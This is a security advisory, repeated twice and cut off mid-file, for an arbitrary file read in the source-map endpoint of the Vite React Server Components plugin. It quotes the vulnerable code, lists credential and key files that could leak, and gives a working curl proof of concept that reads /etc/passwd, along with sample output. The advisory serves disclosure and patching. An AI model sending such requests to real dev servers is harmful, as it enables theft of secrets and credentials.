CVE-2025-68155

@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Prior to version 0.5.8, the /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter. Version 0.5.8 fixes the issue.

@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Prior to version 0.5.8, the /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter. Version 0.5.8 fixes the issue.

Summary

The /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter.

Severity: High Attack Vector: Network
Privileges Required: None
Scope: Development mode only (vite dev)

Impact

Who Is Affected?

• All developers using @vitejs/plugin-rsc during development
• Projects running vite dev with the RSC plugin enabled

Attack Scenarios

1. Network-Exposed Dev Servers:
   When developers run vite --host 0.0.0.0 (common for mobile testing), attackers on the same network can read files.

2. XSS-Based Attacks: If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.

3. ~Malicious Dependencies: ~ A compromised npm package could include code that reads files during development.

4. DNS Rebinding: (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222) An attacker could use DNS rebinding to access the localhost dev server from a malicious website.

What Can Be Leaked?

• Environment files (.env, .env.local, .env.production)
• SSH keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
• Cloud credentials (~/.aws/credentials, ~/.config/gcloud/)
• Database passwords and API keys
• Source code from other projects
• System files (/etc/passwd, /etc/shadow if readable)

Details

Vulnerable Code Location

File: packages/plugin-rsc/src/plugins/find-source-map-url.ts
Lines: 49-61

The vulnerability exists in the findSourceMapURL function:

async function findSourceMapURL(
  server: ViteDevServer,
  filename: string,
  environmentName: string,
): Promise<object | undefined> {
  // this is likely server external (i.e. outside of Vite processing)
  if (filename.startsWith('file://')) {
    filename = fileURLToPath(filename)
    if (fs.existsSync(filename)) {
      // line-by-line identity source map
      const content = fs.readFileSync(filename, 'utf-8')  // ← ARBITRARY FILE READ
      return {
        version: 3,
        sources: [filename],
        sourcesContent: [content],  // ← FILE CONTENTS LEAKED HERE
        mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length),
      }
    }
    return
  }
  // ... rest of the function
}

Root Cause

The endpoint:

1. Accepts a user-controlled filename parameter from the query string (line 20)
2. Checks if it starts with file:// (line 49)
3. Converts it to a filesystem path using fileURLToPath() (line 50)
4. Reads the file with fs.readFileSync() without any path validation (line 53)
5. Returns the file contents in the JSON response (line 57)

No validation is performed to ensure the requested file is within the project directory or is a legitimate source file.

PoC

Quick Test (Single Command)

If you have a Vite dev server running with @vitejs/plugin-rsc, you can test immediately:

curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'

Expected output (file contents in sourcesContent):

{
  "version": 3,
  "sources": ["/etc/passwd"],
  "sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."],
  "mappings": "AAAA;AACA;AACA;..."
}

<details><summary>Further details of PoC</summary>

Complete PoC with Docker

For a fully reproducible environment, I've prepared a complete PoC:

Step 1: Create a minimal vite.config.ts

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-rsc'

export default defineConfig({
  plugins: [
    react({
      serverHandler: false,
    }),
  ],
})

Step 2: Create package.json

{
  "name": "poc-vite-rsc-file-read",
  "version":…

@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Prior to version 0.5.8, the /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter. Version 0.5.8 fixes the issue.

@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Prior to version 0.5.8, the /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter. Version 0.5.8 fixes the issue.

Summary

The /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter.

Severity: High Attack Vector: Network
Privileges Required: None
Scope: Development mode only (vite dev)

Impact

Who Is Affected?

• All developers using @vitejs/plugin-rsc during development
• Projects running vite dev with the RSC plugin enabled

Attack Scenarios

1. Network-Exposed Dev Servers:
   When developers run vite --host 0.0.0.0 (common for mobile testing), attackers on the same network can read files.

2. XSS-Based Attacks: If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.

3. ~Malicious Dependencies: ~ A compromised npm package could include code that reads files during development.

4. DNS Rebinding: (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222) An attacker could use DNS rebinding to access the localhost dev server from a malicious website.

What Can Be Leaked?

• Environment files (.env, .env.local, .env.production)
• SSH keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
• Cloud credentials (~/.aws/credentials, ~/.config/gcloud/)
• Database passwords and API keys
• Source code from other projects
• System files (/etc/passwd, /etc/shadow if readable)

Details

Vulnerable Code Location

File: packages/plugin-rsc/src/plugins/find-source-map-url.ts
Lines: 49-61

The vulnerability exists in the findSourceMapURL function:

async function findSourceMapURL(
  server: ViteDevServer,
  filename: string,
  environmentName: string,
): Promise<object | undefined> {
  // this is likely server external (i.e. outside of Vite processing)
  if (filename.startsWith('file://')) {
    filename = fileURLToPath(filename)
    if (fs.existsSync(filename)) {
      // line-by-line identity source map
      const content = fs.readFileSync(filename, 'utf-8')  // ← ARBITRARY FILE READ
      return {
        version: 3,
        sources: [filename],
        sourcesContent: [content],  // ← FILE CONTENTS LEAKED HERE
        mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length),
      }
    }
    return
  }
  // ... rest of the function
}

Root Cause

The endpoint:

1. Accepts a user-controlled filename parameter from the query string (line 20)
2. Checks if it starts with file:// (line 49)
3. Converts it to a filesystem path using fileURLToPath() (line 50)
4. Reads the file with fs.readFileSync() without any path validation (line 53)
5. Returns the file contents in the JSON response (line 57)

No validation is performed to ensure the requested file is within the project directory or is a legitimate source file.

PoC

Quick Test (Single Command)

If you have a Vite dev server running with @vitejs/plugin-rsc, you can test immediately:

curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'

Expected output (file contents in sourcesContent):

{
  "version": 3,
  "sources": ["/etc/passwd"],
  "sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."],
  "mappings": "AAAA;AACA;AACA;..."
}

<details><summary>Further details of PoC</summary>

Complete PoC with Docker

For a fully reproducible environment, I've prepared a complete PoC:

Step 1: Create a minimal vite.config.ts

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-rsc'

export default defineConfig({
  plugins: [
    react({
      serverHandler: false,
    }),
  ],
})

Step 2: Create package.json

{
  "name": "poc-vite-rsc-file-read",
  "version":…